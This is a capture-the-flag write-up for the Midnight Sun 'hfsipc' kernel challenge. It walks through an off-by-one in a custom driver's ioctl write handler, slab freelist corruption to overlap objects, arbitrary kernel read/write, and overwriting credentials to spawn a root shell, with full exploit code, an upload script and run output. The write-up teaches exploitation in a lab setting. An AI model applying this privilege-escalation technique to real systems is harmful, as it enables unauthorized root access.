Points: 558
Solves: 18
Haikus are easy. But sometimes they don’t make sense. Microwave noodles!
Attachment: hfsipc.tar.gz xpl.py pwn.c pwn_clean.c
Midnight Sun CTF presents...
██░ ██ █████▒ ██████ ██▓ ██▓███ ▄████▄
▓██░ ██▒▓██ ▒▒██ ▒ ▓██▒▓██░ ██▒▒██▀ ▀█
▒██▀▀██░▒████ ░░ ▓██▄ ▒██▒▓██░ ██▓▒▒▓█ ▄
░▓█ ░██ ░▓█▒ ░ ▒ ██▒ ░██░▒██▄█▓▒ ▒▒▓▓▄ ▄██▒
░▓█▒░██▓░▒█░ ▒██████▒▒ ░██░▒██▒ ░ ░▒ ▓███▀ ░
▒ ░░▒░▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░▓ ▒▓▒░ ░ ░░ ░▒ ▒ ░
▒ ░▒░ ░ ░ ░ ░▒ ░ ░ ▒ ░░▒ ░ ░ ▒
░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░░░ ░
░ ░ ░ ░ ░ ░ ░
░
user@hfs:~$
hfsipc
was a kernel pwn challenge. We were provided the image, which contained a custom driver hfsipc.ko
, which obviously was the vulnerable part in this challenge.
The module would set up a device /dev/hfs
which could be communicated with through ioctl
. For accessing the device we had 4 different access modes
#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ 0xABCD0003
#define CHANNEL_WRITE 0xABCD0004
To pass parameters to the corresponding functions an input parameter struct can be used
struct channel_info {
long id ; // used to identify the corresponding channel
long size ; // used for channel creation
char * buffer ; // used for read and write
};
With CHANNEL_CREATE
we can create new hfs
channels and allocate kernel memory, which will serve as a data buffer for those channels. Obviously with CHANNEL_DELETE
those channels can be freed again.
With CHANNEL_READ
and CHANNEL_WRITE
we can read and write to/from the data buffers.
Nothing special in the channel creation, so I’ll skip the reversing on that one. It will just allocate kernel memory and store the information about this channel in an object, which will look like this
struct channel_object {
long id ;
char * buffer ;
long size ;
};
With the corresponding id
used at channel creation, we can then read and write to those backing buffers.
if ( flag == CHANNEL_READ ) {
if ( ! copy_from_user ( & in_param1 , src_param , 24 ) ) {
channel_index = 0 ;
while ( 1 ) {
channel_obj = hfs_channels [ channel_index ];
if ( channel_obj ) {
if ( in_param1 . ID == channel_obj -> ID )
break ;
}
if ( ++ channel_index == 2048 )
goto LABEL_22 ;
}
channel_size = channel_obj -> Size ;
if ( in_param1 . Size <= channel_size )
channel_size = in_param1 . Size ;
if ( ! copy_to_user ( in_param1 . Buffer , channel_obj -> Buffer , channel_size )) {
printk ( & HFS_READ_FROM_CHANNEL , channel_size );
goto LABEL_23 ;
}
}
goto LABEL_13 ;
}
Nothing special here also, it will just search for the corresponding channel matching our input id
and then read the specified size into our userland buffer, which we passed in the input object.
Things get more interesting in CHANNEL_WRITE
if ( flag == CHANNEL_WRITE ) {
if ( ! copy_from_user ( & in_param1 , src_param , 24LL )) {
channel_idx = 0LL ;
while ( 1 ) {
channel_obj = hfs_channels [ channel_idx ];
if ( channel_obj2 ) {
if ( in_param1 . ID == channel_obj2 -> ID )
break ;
}
if ( ++ channel_idx3 == 2048 )
goto LABEL_22 ;
}
if ( in_param1 . Size <= channel_obj2 -> Size + 1 ) {
if ( ! copy_from_user ( channel_obj2 -> Buffer , in_param1 . Buffer , in_param1 . Size )) {
printk ( & HFS_WRITE_CHANNEL , in_param1 . Size );
goto LABEL_23 ;
}
}
}
if ( in_param1 . Size <= channel_obj2 -> Size + 1 ) {
We got an off-by-one
bug here, which will allow us to write one byte more to the channel, than the allocated buffer can hold. With this we can overwrite one byte in any data following the current kernel memory buffer :)
We should now be ready to start pwning this, but we’ll have to make some preparations to be able to upload our binary to the vm in order to communicate with the device.
#!/usr/bin/python
from pwn import *
import sys , base64
HOST = "hfsipc-01.play.midnightsunctf.se"
PORT = 8192
def compile ():
log . info ( "Compile" )
os . system ( "musl-gcc -w -s -static -o3 pwn.c -o pwn" )
def upload ():
p = log . progress ( "Upload" )
with open ( "pwn" , "rb" ) as f :
data = f . read ()
encoded = base64 . b64encode ( data )
for i in range ( 0 , len ( encoded ), 300 ):
p . status ( "%d / %d" % ( i , len ( encoded )))
r . sendline ( "echo %s >> benc" % ( encoded [ i : i + 300 ]))
r . recvuntil ( "$ " )
r . sendline ( "cat benc | base64 -d > bout" )
r . recvuntil ( "$ " )
r . sendline ( "chmod +x bout" )
r . recvuntil ( "$ " )
p . success ()
def exploit ( r ):
r . recvuntil ( "$ " )
compile ()
upload ()
r . interactive ()
return
if __name__ == "__main__" :
if len ( sys . argv ) > 1 :
r = remote ( HOST , PORT )
exploit ( r )
else :
r = process ( "./chall" )
print util . proc . pidof ( r )
pause ()
exploit ( r )
This script will compile our code with musl-gcc
to save some space, which makes it easier when uploading to the remote vm. Afterwards it will just base64-encode the binary and puts it on the server, decodes it again and makes it executable. Pretty default for kernel challenges.
Let’s get started with device communication
#include <fcntl.h>
#define CHANNEL_CREATE 0xABCD0001
#define CHANNEL_DELETE 0xABCD0002
#define CHANNEL_READ 0xABCD0003
#define CHANNEL_WRITE 0xABCD0004
struct channel_info {
long id ;
long size ;
char * buffer ;
};
int ioctl ( int fd , unsigned long request , unsigned long param ) {
return syscall ( 16 , fd , request , param );
}
// Create a new hfs channel
void create_channel ( int fd , int id , int size ) {
struct channel_info channel ;
channel . id = id ;
channel . size = size ;
ioctl ( fd , CHANNEL_CREATE , & channel );
}
// Delete hfs channel
void delete_channel ( int fd , long id ) {
ioctl ( fd , CHANNEL_DELETE , & id );
}
// Read from hfs channel into dest
void read_channel ( int fd , int id , char * dest , int size ) {
struct channel_info channel ;
channel . id = id ;
channel . size = size ;
channel . buffer = dest ;
ioctl ( fd , CHANNEL_READ , & channel );
}
// Write into hfs channel from src
void write_channel ( int fd , int id , char * src , int size ) {
struct channel_info channel ;
channel . id = id ;
channel . size = size ;
channel . buffer = src ;
ioctl ( fd , CHANNEL_WRITE , & channel );
}
int main ( int argc , char * argv ) {
int fd ;
printf ( "[+] Open hfs device \n " );
fd = open ( "/dev/hfs" , O_RDWR );
printf ( "[+] Create initial channels \n " );
char payload [ 0x1000 ];
memset ( payload , 0 , 0x100 );
create_channel ( fd , 1 , 0x100 );
create_channel ( fd , 2 , 0x100 );
create_channel ( fd , 3 , 0x100 );
create_channel ( fd , 4 , 0x100 );
create_channel ( fd , 5 , 0x100 );
create_channel ( fd , 6 , 0x100 );
memset ( payload , 0x41 , 0x20 );
write_channel ( fd , 1 , payload , 0x20 );
close ( fd );
return 0 ;
}
Uploading and executing the binary and checking output of dmesg
HFS IPC: created 0
HFS IPC: created 1
HFS IPC: created 2
HFS IPC: created 3
HFS IPC: created 4
HFS IPC: created 5
HFS IPC: wrote 32 bytes to 0
So, communication seems to be working and we wrote some data to kernel memory.
pwndbg> x/30gx 0xffffffffa0002360
0xffffffffa0002360: 0xffff8800001c6460 0xffff8800001c6480 <== hfs_channels
0xffffffffa0002370: 0xffff8800001c64a0 0xffff8800001c64c0
0xffffffffa0002380: 0xffff8800001c64e0 0xffff8800001c6500
0xffffffffa0002390: 0x0000000000000000 0x0000000000000000
0xffffffffa00023a0: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460: 0x0000000000000001 0xffff8800001ba300 <== Channel 1 / Buffer 1
0xffff8800001c6470: 0x0000000000000100 0xff5dc125f80330ca <== Size 1
0xffff8800001c6480: 0x0000000000000002 0xffff8800001ba400 <== Channel 2 / Buffer 2
0xffff8800001c6490: 0x0000000000000100 0xe19719472e34ad89 <== Size 2
0xffff8800001c64a0: 0x0000000000000003 0xffff8800001ba500 <== Channel 3 / Buffer 3
0xffff8800001c64b0: 0x0000000000000100 0x1a512b6f8988c807 <== Size 3
0xffff8800001c64c0: 0x0000000000000004 0xffff8800001ba600 <== Channel 4 / Buffer 4
0xffff8800001c64d0: 0x0000000000000100 0x38d251e5ab5fac52 <== Size 4
0xffff8800001c64e0: 0x0000000000000005 0xffff8800001ba700 <== Channel 5 / Buffer 5
0xffff8800001c64f0: 0x0000000000000100 0xe5f716d6aa5fdd5d <== Size 5
0xffff8800001c6500: 0x0000000000000006 0xffff8800001ba800 <== Channel 6 / Buffer 6
0xffff8800001c6510: 0x0000000000000100 0x6be30cd9e02c88d6 <== Size 6
pwndbg> x/30gx 0xffff8800001ba300
0xffff8800001ba300: 0x4141414141414141 0x4141414141414141 <== Channel 1 buffer data
0xffff8800001ba310: 0x4141414141414141 0x4141414141414141
0xffff8800001ba320: 0x0000000000000000 0x0000000000000000
0xffff8800001ba330: 0x0000000000000000 0x0000000000000000
Since the channel objects and the buffer objects have different sizes, they are allocated in different places.
Let’s create some channels with buffer sizes matching the size of channel objects instead :)
create_channel ( fd , 1 , 0x20 );
create_channel ( fd , 2 , 0x20 );
create_channel ( fd , 3 , 0x20 );
create_channel ( fd , 4 , 0x20 );
create_channel ( fd , 5 , 0x20 );
create_channel ( fd , 6 , 0x20 );
memset ( payload , 0x41 , 0x20 );
write_channel ( fd , 1 , payload , 0x20 );
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460: 0x0000000000000001 0xffff8800001c6480 <== Channel 1 Object
0xffff8800001c6470: 0x0000000000000020 0xff5dc125f80330ca
0xffff8800001c6480: 0x4141414141414141 0x4141414141414141 <== Channel 1 Buffer
0xffff8800001c6490: 0x4141414141414141 0x4141414141414141
0xffff8800001c64a0: 0x0000000000000002 0xffff8800001c64c0 <== Channel 2 Object
0xffff8800001c64b0: 0x0000000000000020 0x1a512b6f8988c807
0xffff8800001c64c0: 0x0000000000000000 0x0000000000000000 <== Channel 2 Buffer
0xffff8800001c64d0: 0x0000000000000000 0x0000000000000000
0xffff8800001c64e0: 0x0000000000000003 0xffff8800001c6500
0xffff8800001c64f0: 0x0000000000000020 0xe5f716d6aa5fdd5d
0xffff8800001c6500: 0x0000000000000000 0x0000000000000000
0xffff8800001c6510: 0x0000000000000000 0x0000000000000000
0xffff8800001c6520: 0x0000000000000004 0xffff8800001c6540
Neat, now the channel objects
and their backing buffer
are nicely aligned behind each other.
This should make our off by one
a little bit more powerful :)
Let’s free one of the channels
printf ( "[+] Free channel 3 \n " );
delete_channel ( fd , 3 );
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460: 0x0000000000000001 0xffff8800001c6480 <== Channel 1 Object
0xffff8800001c6470: 0x0000000000000020 0xff5dc125f80330ca
0xffff8800001c6480: 0x0000000000000000 0x0000000000000000 <== Channel 1 Buffer
0xffff8800001c6490: 0x0000000000000000 0x0000000000000000
0xffff8800001c64a0: 0x0000000000000002 0xffff8800001c64c0 <== Channel 2 Object
0xffff8800001c64b0: 0x0000000000000020 0x1a512b6f8988c807
0xffff8800001c64c0: 0x0000000000000000 0x0000000000000000 <== Channel 2 Buffer
0xffff8800001c64d0: 0x0000000000000000 0x0000000000000000
0xffff8800001c64e0: 0xffff8800001c6500 0xffff8800001c6500 <== Channel 3 Object (freed)
0xffff8800001c64f0: 0x0000000000000020 0xe5f716d6aa5fdd5d
0xffff8800001c6500: 0xffff8800001c65e0 0x0000000000000000 <== Channel 3 Buffer (freed)
0xffff8800001c6510: 0x0000000000000000 0x0000000000000000
0xffff8800001c6520: 0x0000000000000004 0xffff8800001c6540 <== Channel 4 Object
0xffff8800001c6530: 0x0000000000000020 0xd0225688dc121d8c
0xffff8800001c6540: 0x0000000000000000 0x0000000000000000 <== Channel 4 Buffer
0xffff8800001c6550: 0x0000000000000000 0x0000000000000000
0xffff8800001c6560: 0x0000000000000005 0xffff8800001c6580
0xffff8800001c6570: 0x0000000000000020 0xea425c6d881bfa1c
0xffff8800001c6580: 0x0000000000000000 0x0000000000000000
Now the channel object and the buffer for it is freed, and the FD
of the channel 3 object points to the also freed buffer
.
We can now leverage the off by one
overwrite, to overflow from channel 2 buffer into the LSB of the FD
for channel 3, letting it pointing slightly somewhere else (for example into the channel 4 buffer)
payload [ 0x20 ] = 0x40 ;
printf ( "[+] Overwrite LSB of channel 3 FD \n " );
write_channel ( fd , 2 , payload , 0x21 );
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460: 0x0000000000000001 0xffff8800001c6480 <== Channel 1 Object
0xffff8800001c6470: 0x0000000000000020 0xff5dc125f80330ca
0xffff8800001c6480: 0x0000000000000000 0x0000000000000000 <== Channel 1 Buffer
0xffff8800001c6490: 0x0000000000000000 0x0000000000000000
0xffff8800001c64a0: 0x0000000000000002 0xffff8800001c64c0 <== Channel 2 Object
0xffff8800001c64b0: 0x0000000000000020 0x1a512b6f8988c807
0xffff8800001c64c0: 0x4141414141414141 0x4141414141414141 <== Channel 2 Buffer
0xffff8800001c64d0: 0x4141414141414141 0x4141414141414141
0xffff8800001c64e0: 0xffff8800001c6540 0xffff8800001c6500 <== Channel 3 Object (freed) FD pointing to Channel 4 buffer)
0xffff8800001c64f0: 0x0000000000000020 0xe5f716d6aa5fdd5d
0xffff8800001c6500: 0xffff8800001c65e0 0x0000000000000000 <== Channel 3 Buffer (freed)
0xffff8800001c6510: 0x0000000000000000 0x0000000000000000
0xffff8800001c6520: 0x0000000000000004 0xffff8800001c6540 <== Channel 4 Object
0xffff8800001c6530: 0x0000000000000020 0xd0225688dc121d8c
0xffff8800001c6540: 0x0000000000000000 0x0000000000000000 <== Channel 4 Buffer
Starts looking interesting. Recreating channel 3 with a different chunk size now will allocate the freed Channel 3 Object again to hold the new channel object and since we use a different size, the data buffer will be allocated “somewhere else”.
Though the next channel we will create after that, will use the corrupted FD
and kalloc
will think, it should be allocated to 0xffff8800001c6540
, which happens to be also the data buffer
for channel 4.
printf ( "[+] Recreate channel 3 (with different chunk size) \n " );
create_channel ( fd , 8 , 0x40 );
printf ( "[+] Create next channel (inside channel 4 data) \n " );
create_channel ( fd , 9 , 0x40 );
pwndbg> x/30gx 0xffff8800001c6460
0xffff8800001c6460: 0x0000000000000001 0xffff8800001c6480 <== Channel 1 Object
0xffff8800001c6470: 0x0000000000000020 0xff5dc125f80330ca
0xffff8800001c6480: 0x0000000000000000 0x0000000000000000 <== Channel 1 Buffer
0xffff8800001c6490: 0x0000000000000000 0x0000000000000000
0xffff8800001c64a0: 0x0000000000000002 0xffff8800001c64c0 <== Channel 2 Object
0xffff8800001c64b0: 0x0000000000000020 0x1a512b6f8988c807
0xffff8800001c64c0: 0x4141414141414141 0x4141414141414141 <== Channel 2 Buffer
0xffff8800001c64d0: 0x4141414141414141 0x4141414141414141
0xffff8800001c64e0: 0x0000000000000008 0xffff8800001b2c40 <== Channel 8 Object (formerly Channel 3 Object)
0xffff8800001c64f0: 0x0000000000000040 0xe5f716d6aa5fdd5d
0xffff8800001c6500: 0xffff8800001c65e0 0x0000000000000000 <== Channel 3 Buffer (freed)
0xffff8800001c6510: 0x0000000000000000 0x0000000000000000
0xffff8800001c6520: 0x0000000000000004 0xffff8800001c6540 <== Channel 4 Object
0xffff8800001c6530: 0x0000000000000020 0xd0225688dc121d8c
0xffff8800001c6540: 0x0000000000000009 0xffff8800001b2c80 <== Channel 4 Buffer (and Channel 9 Object!)
0xffff8800001c6550: 0x0000000000000040 0x0000000000000000
Nice, so we now have the channel 4 buffer and the channel 9 object overlapping at 0xffff8800001c6540
.
We can use this now for an arbitrary read/write, by first overwriting the channel 9 object via a channel 4 write, and then use channel 9 for read or write. I used this first to leak kernel address before realizing that the challenge didn’t even had kaslr
active…
void read_data ( int fd , long address , char * dest , long size ) {
printf ( "[+] Read data from %p \n " , address );
long pPayload [ 3 ] = { 9 , address , 0xffffffffffffffff };
// Overwrite channel object 9
write_channel ( fd , 4 , pPayload , 0x18 );
// Use channel 9 to read data
memset ( dest , 0 , size );
read_channel ( fd , 9 , dest , size );
}
void write_data ( int fd , long address , char * src , long size ) {
printf ( "[+] Write data to %p \n " , address );
long pPayload [ 3 ] = { 9 , address , 0xffffffffffffffff };
// Overwrite channel object 9
write_channel ( fd , 4 , pPayload , 0x18 );
// Use channel 9 to write data
write_channel ( fd , 9 , src , size );
}
Since the kernel has SMAP
and SMEP
active, the easiest way to get root would be to use our arbitrary write to directly overwrite task_creds
and start up a shell.
To be honest, it was getting quite late at that point, and I wasted so much time trying to find task_creds
in memory…
At some point, I got so desperate, that I thought “Screw it, I can read everything and write anywhere, let’s wreck havoc…” and decided to just read the complete kernel memory block and replace everything looking like the current userid (1000) ;>
So, let’s pwn this kernel ctf ghetto style…
// Just read complete region and replace everything that could be your user id ;)
char * kernel_mem = malloc ( 0x800000 );
read_data ( fd , 0xffff880006610000 , kernel_mem , 0x800000 );
unsigned int * pPay = ( unsigned int * ) kernel_mem ;
for ( int i = 0 ; i < 0x800000 ; i += 4 ) {
if ( * pPay ++ == 1000 ) {
write_address ( fd , ( 0xffff880006610000 + i ), 0x0 );
}
}
setresuid ( 0 , 0 , 0 );
system ( "/bin/sh" );
Well, this worked out better than expected :)
$ python xpl.py 1
[+] Opening connection to hfsipc-01.play.midnightsunctf.se on port 8192: Done
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode
user@hfs:~$ $ ./bout
./bout
[+] Open hfs device
[+] Create initial channels
[+] Free channel 3
[+] Overwrite LSB of channel 3 FD
[+] Recreate channel 3 (with different chunk size)
[+] Create next channel (inside channel 4 data)
[+] Read data from 0xffff880006610000
[+] Write '0' to '0xffff88000696a8d0'
[+] Write '0' to '0xffff88000696a8e0'
[+] Write '0' to '0xffff88000696a8f0'
[+] Write '0' to '0xffff88000696a900'
[+] Write '0' to '0xffff88000696ac50'
[+] Write '0' to '0xffff88000696ac60'
[+] Write '0' to '0xffff88000696ac70'
[+] Write '0' to '0xffff88000696ac80'
[+] Write '0' to '0xffff88000696afd0'
[+] Write '0' to '0xffff88000696afe0'
[+] Write '0' to '0xffff88000696aff0'
[+] Write '0' to '0xffff88000696b000'
[+] Write '0' to '0xffff88000696b350'
[+] Write '0' to '0xffff88000696b360'
[+] Write '0' to '0xffff88000696b370'
[+] Write '0' to '0xffff88000696b380'
[+] Write '0' to '0xffff8800069ab02c'
[+] Write '0' to '0xffff8800069cd038'
[+] Write '0' to '0xffff8800069d5008'
[+] Write '0' to '0xffff8800069d500c'
[+] Write '0' to '0xffff8800069d5010'
[+] Write '0' to '0xffff8800069d5014'
[+] Write '0' to '0xffff8800069d5018'
[+] Write '0' to '0xffff8800069d501c'
[+] Write '0' to '0xffff8800069d5020'
[+] Write '0' to '0xffff8800069d5104'
[+] Write '0' to '0xffff8800069d5108'
[+] Write '0' to '0xffff8800069d510c'
[+] Write '0' to '0xffff8800069d5110'
[+] Write '0' to '0xffff8800069d5114'
[+] Write '0' to '0xffff8800069d5118'
[+] Write '0' to '0xffff8800069d511c'
[+] Write '0' to '0xffff8800069d5120'
[+] Write '0' to '0xffff8800069d5184'
[+] Write '0' to '0xffff8800069d5188'
[+] Write '0' to '0xffff8800069d518c'
[+] Write '0' to '0xffff8800069d5190'
[+] Write '0' to '0xffff8800069d5194'
[+] Write '0' to '0xffff8800069d5198'
[+] Write '0' to '0xffff8800069d519c'
[+] Write '0' to '0xffff8800069d51a0'
[+] Write '0' to '0xffff8800069d5208'
[+] Write '0' to '0xffff8800069d520c'
[+] Write '0' to '0xffff8800069d5210'
[+] Write '0' to '0xffff8800069d5214'
[+] Write '0' to '0xffff8800069d5218'
[+] Write '0' to '0xffff8800069d521c'
[+] Write '0' to '0xffff8800069d5220'
[+] Write '0' to '0xffff8800069d5288'
[+] Write '0' to '0xffff8800069d528c'
[+] Write '0' to '0xffff8800069d5290'
[+] Write '0' to '0xffff8800069d5294'
[+] Write '0' to '0xffff8800069d5298'
[+] Write '0' to '0xffff8800069d529c'
[+] Write '0' to '0xffff8800069d52a0'
[+] Write '0' to '0xffff8800069d5304'
[+] Write '0' to '0xffff8800069d5308'
[+] Write '0' to '0xffff8800069d530c'
[+] Write '0' to '0xffff8800069d5310'
[+] Write '0' to '0xffff8800069d5314'
[+] Write '0' to '0xffff8800069d5318'
[+] Write '0' to '0xffff8800069d531c'
[+] Write '0' to '0xffff8800069d5320'
[+] Write '0' to '0xffff8800069d5388'
[+] Write '0' to '0xffff8800069d538c'
[+] Write '0' to '0xffff8800069d5390'
[+] Write '0' to '0xffff8800069d5394'
[+] Write '0' to '0xffff8800069d5398'
[+] Write '0' to '0xffff8800069d539c'
[+] Write '0' to '0xffff8800069d53a0'
[+] Write '0' to '0xffff8800069d5408'
[+] Write '0' to '0xffff8800069d540c'
[+] Write '0' to '0xffff8800069d5410'
[+] Write '0' to '0xffff8800069d5414'
[+] Write '0' to '0xffff8800069d5418'
[+] Write '0' to '0xffff8800069d541c'
[+] Write '0' to '0xffff8800069d5420'
[+] Write '0' to '0xffff8800069d5484'
[+] Write '0' to '0xffff8800069d5488'
[+] Write '0' to '0xffff8800069d548c'
[+] Write '0' to '0xffff8800069d5490'
[+] Write '0' to '0xffff8800069d5494'
[+] Write '0' to '0xffff8800069d5498'
[+] Write '0' to '0xffff8800069d549c'
[+] Write '0' to '0xffff8800069d54a0'
[+] Write '0' to '0xffff880006ca4ec4'
[+] Write '0' to '0xffff880006cb3a68'
[+] Write '0' to '0xffff880006d11764'
[+] Write '0' to '0xffff880006d2b1d4'
[+] Write '0' to '0xffff880006d2bc18'
[+] Write '0' to '0xffff880006d45c14'
[+] Write '0' to '0xffff880006d4dda8'
[+] Write '0' to '0xffff880006d95474'
[+] Write '0' to '0xffff880006db0d34'
[+] Write '0' to '0xffff880006db1b98'
[+] Write '0' to '0xffff880006db1bac'
[+] Write '0' to '0xffff880006dba68c'
[+] Write '0' to '0xffff880006dbabec'
[+] Write '0' to '0xffff880006dc731c'
[+] Write '0' to '0xffff880006dc9ae0'
[+] Write '0' to '0xffff880006dd897c'
root@hfs:/home/user$ $ id
id
uid=0(root) gid=0(root) groups=1000(user)
root@hfs:/home/user$ $ cd /root
cd /root
root@hfs:~$ $ ls
ls
flag
root@hfs:~$ $ cat flag
cat flag
midnight{0fF_bY_0n}
root@hfs:~$ $
It was around 05:00am then, so I really needed to get some sleep after submitting the flag.
Though mementomori
came up with a proper way of leaking task_creds
the next day, so I’ll also include that here for later (might come in handy)
#define INIT_TASK 0xffffffff81a1b4c0
#define OFFSET_TASKS 0x1d0
#define OFFSET_PID 0x278
#define OFFSET_CRED 0x3c0
...
long task = INIT_TASK ;
while (( task = read_address ( fd , task + OFFSET_TASKS + 8 ) - OFFSET_TASKS ) != INIT_TASK ) {
int pid = read_address ( fd , task + OFFSET_PID );
printf ( "task = %p, pid = %d \n " , ( void * ) task , pid );
if ( pid != getpid ())
continue ;
puts ( "found current task!" );
long cred = read_address ( fd , task + OFFSET_CRED );
for ( int i = 0 ; i < 5 ; i ++ ) {
write_address ( fd , cred + i * 4 , 0 );
}
break ;
}
which will result in less writes
$ python xpl.py
[+] Starting local process './chall': pid 5692
[5692]
[*] Paused (press any to continue)
[*] Compile
[+] Upload: Done
[*] Switching to interactive mode
$ ./bout
[+] Open hfs device
[+] Create initial channels
[+] Free channel 3
[+] Overwrite LSB of channel 3 FD
[+] Recreate channel 3 (with different chunk size)
[+] Create next channel (inside channel 4 data)
[+] Read address from 0xffffffff81a1b698
[+] Read data from 0xffffffff81a1b698
[+] Read address from 0xffff880006a10278
[+] Read data from 0xffff880006a10278
task = 0xffff880006a10000, pid = 494
found current task!
[+] Read address from 0xffff880006a103c0
[+] Read data from 0xffff880006a103c0
[+] Write '0' to '0xffff8800069f5400'
[+] Write '0' to '0xffff8800069f5404'
[+] Write '0' to '0xffff8800069f5408'
[+] Write '0' to '0xffff8800069f540c'
[+] Write '0' to '0xffff8800069f5410'
root@hfs:/home/user$ $ id
uid=0(root) gid=0(root) egid=1000(user) groups=1000(user)